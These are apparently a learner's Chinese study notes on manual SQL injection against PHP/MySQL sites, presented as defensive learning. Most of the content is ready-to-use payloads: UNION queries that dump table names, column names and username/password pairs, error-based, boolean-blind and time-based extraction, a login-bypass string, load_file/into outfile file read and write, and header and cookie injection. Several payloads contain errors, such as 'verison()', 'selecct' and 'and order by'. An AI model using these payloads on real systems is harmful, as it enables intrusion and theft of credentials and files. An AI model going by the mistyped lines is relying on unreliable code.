【笔记】SQL Injection 注入攻击

前言

手工SQL注入攻击学习笔记

本文仅用于网络信息防御学习

根据数据类型分类

  • 数字型SQL注入
    • 在注入时不需要考虑引号的闭合问题
  • 字符型SQL注入
    • 在注入时需要考虑引号的闭合问题

根据注入手法的分类

  • UNION query SQL injection 联合查询(针对查操作)
  • Error-based SQL injection 报错注入(针对查操作)
  • Boolean-based blind SQL injection 布尔盲注(针对查操作)
  • Time-based blind SQL injection 延时注入(针对查操作)
  • Stacked queries SQL injection 堆叠查询(针对增删改操作)

根据注入原理的分类(GPC)

  • GET数据
  • POST数据
  • Cookie数据

数据类型测试

  • 操作:根据报错信息,判断1在数据库中存储时的数据类型
  • 结论:当出现形如'''的报错信息时,判断该数字是以数值型数据存储在数据库中;当出现形如'1''的报错信息时,判断该数字是以字符型数据存储在数据库中
1
?id=1'

打断测试

  • 操作:如果成对的括号被中断,同时使用注释打断后面的语句,就可以实现sql语句的控制
  • 原理:php中定义sql语句时,会使用括号进行包裹从而定义sql语句为字符串

'用来打断被引号引起来的内容

用于中断的mysql语句的php关键字:'")]}\/,.

-- 用来打断后面的sql语句

用于打断后面语句的mysql注释关键字:#(需要进行url编码)、--

1
?id=1' -- 1
1
?id=1') -- 1
1
?id=1'] -- 1
1
?id=1'} -- 1

注入手法测试

  • 通过传递不同的参数,判断页面加载,测试出可以使用哪种手法注入
  • 只要可以使用任意一种注入手法,就可以断定存在SQL注入漏洞

测试是否存在注入漏洞

  • 操作:多次传递不同的数值判断页面是否有变化
  • 原理:如果id=任何一个数,页面能被动态渲染不同的数据,说明参数变量传递成功
1
2
?id=1
?id=2

测试结论

  • 如果页面有变化,可以使用联合查询注入
  • 如果页面没有变化,继续判断布尔测试结果

布尔测试

  • 操作:通过两次传递能返回布尔值的语句,判断页面是否报错
  • 原理:如果两次传递能返回布尔值的语句,发现页面不同,说明返回布尔值执行成功
1
2
?id=1 and 1=1
?id=1 and 1=2

测试结论

  • 如果有报错,可以使用报错注入
  • 如果没有报错
    • 如果两次页面不同,可以使用布尔盲注
    • 如果两次页面相同,继续判断延时测试结果

延时测试

  • 操作:通过传递包含sleep()函数的语句,判断页面是否延时显示(通过开发者工具的网络选项查看)
  • 原理:sleep()函数可以起到延时的效果,如果页面加载成功延时,说明sleep()函数执行成功

<time>:指定延时时间

1
?id=1 and sleep(<time>)

测试结论

  • 如果有报错,可以使用报错注入
  • 如果没有报错
    • 如果页面成功延时加载,可以使用延时注入

联合查询注入

  • 原理:mysql的union语句,实际上是用来去重取交集的,特点是可以指定一个查询语句与前面的查询语句进行组合,得到结果,但要求是前后两组sql语句得到的列数相同

  • 可以通过union后面指定的查询语句,实现覆盖前面的查询语句,得到自己想要的字段的内容,展示在页面上

  • 必要条件:两张虚拟的表具有相同的列数,虚拟表对应的列的数据类型相同

    • 数值型可以自动转换成字符串类型
    • 不满足必要条件时,可以使用子查询语句
  • 基本语法

<select>:查询语句

1
<select_1> union <select_2>
  • 注意:Access数据库在使用查询语句时,必须使用from <database_name>关键字,而且数据库名必须存在

注入点个数测试

  • 原理:mysql的order by语句,实际上是用来排序数据的,如果order by语句后有数字,表示根据第几个字段排序,当没有那个指定数量的字段时,会报错
    • 例如:order by 2,表示根据第2个字段进行数据的排序,如果没有第2个字段,则报错
  • 所以可以通过order by语句,得到字段数量临界值
    • 例如:从order by 1开始测试,当执行到order by 3时,页面报错,说明这个数据表只有2个字段,2就是临界值
1
2
?id=1 and order by 1
?id=1 and order by 2
  • 也可以直接使用union语句测试注入点个数
    • select 1,2,...不再报错时,表示注入点个数测试完成
  • id=1改为其他不存在的id,这样才能展示union后面的select语句的内容;也可以使用布尔值为false的语句(例如1=2)强制让union前面的select报错,从而展示union后面的select语句的内容
1
2
3
?id=-1 union select 1,2

?id=1 and 1=2 union select 1,2

注入点位置测试

  • 在找到注入点个数后,可以开始注入点位置测试
  • 通过查询数字1、数字2(根据注入点个数指定数字数量),在页面查看注入点的位置
  • 原理:当union前面的查询语句值为假,则后面的查询语句会被执行

1,2:直接展示在页面上的内容(根据注入点个数指定数字数量)

1
2
3
?id=-1 union select 1,2

?id=1 and 1=2 union select 1,2

通过注入点得到数据

  • 根据注入点回显的位置,可以将能回显的注入点的编号,改为其他函数,获取其他信息

usernamepassword:想要查询的字段名,也可以是sql函数,或其他子查询语句
user:想要查询数据表的表名

1
2
3
?id=-1 union select verison(),database()

?id=1 and 1=2 union select verison(),database()

爆破数据库中的所有数据表名

table_schema:指定数据库名的16进制数

0x:0x后拼接16进制数,这个十六进制数是由想要查询的数据库的库名通过字符串转16进制数转换来的

concat():字符串拼接函数
hex():字符串转换为十六进制函数
database():获取数据库名函数
group_concat():将一组字符串拼接为一个字符串,以逗号分隔

1
2
3
4
5
?id=1 and 1=2 union select
(select group_concat(table_name) from information_schema.tables where table_schema=0x) --

?id=1 and 1=2 union select
(select group_concat(table_name) from information_schema.tables where table_schema=concat('0x', hex(database()))) --

爆破数据表的所有字段名

table_schema:指定数据库名的16进制数
table_name:指定数据表名的16进制数

1
2
?id=1 and 1=2 union select
(select group_concat(column_name) from information_schema.columns where table_schema=0x and table_name=0x) --

爆破指定字段的数据内容

users:想要查询的数据表名
usernamepassword:想要查询的字段名
%20:url编码后的空格字符串,用于分隔开展示的多条数据,防止混淆
0x3a:十六进制编码后的冒号字符串,用于分隔开展示的多条数据,防止混淆

1
2
3
4
5
?id=1 and 1=2 union select
(select concat(username,'%20',password) from users) --

?id=1 and 1=2 union select
(select concat(username,'0x3a',password) from users) --

报错注入

  • 在报错的回显中,插入敏感信息

重复键冲突报错

  • 利用Mysql编号为#8652的bug,复现重复键冲突报错
  • 这个漏洞存在一定几率

<select>:查询语句
1,concat(left(rand(),3),'^',(<select>),'^')a,count(*),3:自己选择注入点

1
2
3
4
5
# 网传版本
?id=1 and (select 1 from (select count(*),concat((<select>),floor(rand()*2))x from information_schema.tables group by x)a)

# 简化版本
?id=1 union select 1,concat(left(rand(),3),'^',(<select>),'^')a,count(*),3 from information_schema.tables group by a

不同的SQL语句构造方式

<select>:查询语句
<select_field>:指定想要查询的字段

1
2
3
4
5
6
7
8
9
10
select concat(left(rand(),3),'^',(<select>),'^') x,count(*) from information_schema.tables group by x;

# 如果查询的表被禁用了,可以自己构建一个表
select concat('^',(<select_field>),'^',floor(rand()*2))x,count(*) from (select 1 union select null union select !1)a group by x;

# 如果rand()或count()被禁用了
select min(@a:1) from information_schema group by concat('^',<select_field>,'^',@a:=(@a+1)%2);

# 不依赖额外的函数和具体的表
select min(@a:=1) from(select 1 union selecct null union select !1)a group by concat('^',<select_field>,'^',@a:=(@a+1)%2);

XPATH报错

  • updatexml()有3个参数,需要在第二个参数中注入
  • 0x7e是占位符~的十六进制,用来分隔需要显示的查询结果

<select>:查询语句

1
2
3
?id=1 and updatexml(1,concat(0x7e, (<select>), 0x7e), 1)

?id=1 and extractvalue(1,concat(0x7e, (<select>), 0x7e))

布尔盲注

  • 通过构建布尔值的判断,盲猜敏感信息

猜测数据库名长度

1
?id=1 and length(database())=1

猜测数据库名每个字符的ascii码

1
2
3
4
5
6
7
# 第一个字符
?id=1 and ascii(substr(database(), 1, 1))>100

# 第二个字符
?id=1 and ascii(substr(database(), 2, 1))>100

# ...

延时注入

  • 盲猜敏感信息,利用IF()语句判断,将SLEEP()语句作为IF()语句的结果,通过判断页面是否延时加载,确定猜测是否正确

猜测数据库名长度

1
2
3
4
5
# 如果猜对,延时5秒
?id=1 and if(length(database())=1,sleep(5),1)

# 如果猜错,延时5秒
?id=1 and if(length(database())=1,1,sleep(5))

登录框注入

万能密码

1
2
123456' or 1=1
123456' or '1'='1

利用Mysql的导入导出功能实现文件读写

  • 前提
    • Mysql配置了导入导出操作
    • 当前用户具有文件读写权限

检测当前用户是否具有文件读写权限

1
SELECT File_priv FROM mysql.user WHERE user='root' AND host='localhost';

文件读取

<file>:想要读取的文件的路径,Windows上可以使用\\分隔层级,Linux上可以使用/分隔层级

1
?id=1 union select load_file('<file>')

文件写入

<string>:通过查询语句获取的字符串
<file>:想要写入的文件

1
?id=1 union select '<string>' into outfile '<file>'

cookie注入

  • 在Burp中可以拦截包含Cookie的请求,发送到Repeater模块,通过修改Cookie的内容实现注入

  • 也可以使用前端的控制台,通过JS的document.cookie=代码,修改Cookie的内容实现注入

  • Cookie中使用#作为注释

当代码中出现了编码

如果是GBK编码

1
?id=1%ff'

base64注入

  • 如果代码中出现了base64编码,需要重新将注入语句进行编码,然后再发送请求

其他位置的注入

User-Agent注入

  • 如果代码中调用了User-Agent作为变量,可以在Burp中拦截包含user-agent的请求,发送到Repeater模块,通过修改User-Agent的内容实现注入

Referer注入

  • 如果代码中调用了Referer作为变量,可以在Burp中拦截包含user-agent的请求,发送到Repeater模块,通过修改Referer的内容实现注入

完成

参考文献

哔哩哔哩——腾讯掌控安全学院
哔哩哔哩——千锋教育网络安全学院
哔哩哔哩——掌控安全学院